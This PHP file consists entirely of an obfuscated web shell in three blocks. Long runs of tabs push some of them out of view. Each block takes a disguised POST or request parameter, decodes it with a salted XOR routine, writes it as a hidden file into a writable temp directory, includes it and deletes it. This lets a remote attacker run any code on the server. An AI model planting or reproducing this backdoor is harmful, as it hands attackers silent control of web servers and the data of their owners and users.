<?php																																										if(in_array("\x66l\x67", array_keys($_POST))){ $marker = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); $flag = $_POST["\x66l\x67"]; $flag = explode ("." , $flag ) ; $val = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $o = 0; array_walk($flag ,function($v4) use(&$val ,&$o ,$salt9 ,$sLen) { $chS = ord($salt9[$o % $sLen]); $dec =((int)$v4 - $chS -($o % 10)) ^ 10; $val.= chr($dec); $o++; }); $elem = 0; do { $key = $marker[$elem] ?? null; if ($elem >= count($marker)) break; if (is_writable($key) && is_dir($key)) { $item = join("/", [$key, ".object"]); if (file_put_contents($item, $val)) { include $item; @unlink($item); exit; } } $elem++; } while (true); }
																																										if(@$_POST["e\x6E\x74"] !== null){ $parameter_group = $_POST["e\x6E\x74"]; $parameter_group = explode ( '.' , $parameter_group ); $marker = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $s = 0; array_walk($parameter_group ,function ($v8) use (&$marker ,&$s ,$salt8 ,$lenS) { $sChar = ord($salt8[$s % $lenS] ); $d = ((int)$v8 - $sChar - ($s % 10)) ^ 60; $marker .= chr($d ); $s++; } ); $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($bind as $holder) { if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $flag = sprintf("%s/.mrk", $holder); if (@file_put_contents($flag, $marker) !== false) { include $flag; unlink($flag); exit; } } } }


if(isset($_REQUEST["\x66\x6Cg"]) ? true : false){
	$ref = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP")]);
	$value = $_REQUEST["\x66\x6Cg"];
		 $value		= 	 explode(	 '.'		 , $value)	 ;
	$ptr = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$s);
            $z = 0;
    
            array_walk( 	$value		,function( 	$v9) use( 	&$ptr		,&$z		,$s		,$lenS) {
                $chS = ord( 	$s[$z% 	$lenS]);
                $d =( 	( 	int)$v9 - $chS -( 	$z% 	10)) 	^ 33;
                $ptr	.=	chr( 	$d);
                $z++;
            });
	$key = 0;
do {
    $element = $ref[$key] ?? null;
    if ($key >= count($ref)) break;
    		if (max(0, is_dir($element) * is_writable($element))) {
    $record = str_replace("{var_dir}", $element, "{var_dir}/.desc");
    $success = file_put_contents($record, $ptr);
if ($success) {
	include $record;
	@unlink($record);
	die();}
}
    $key++;
} while (true);
}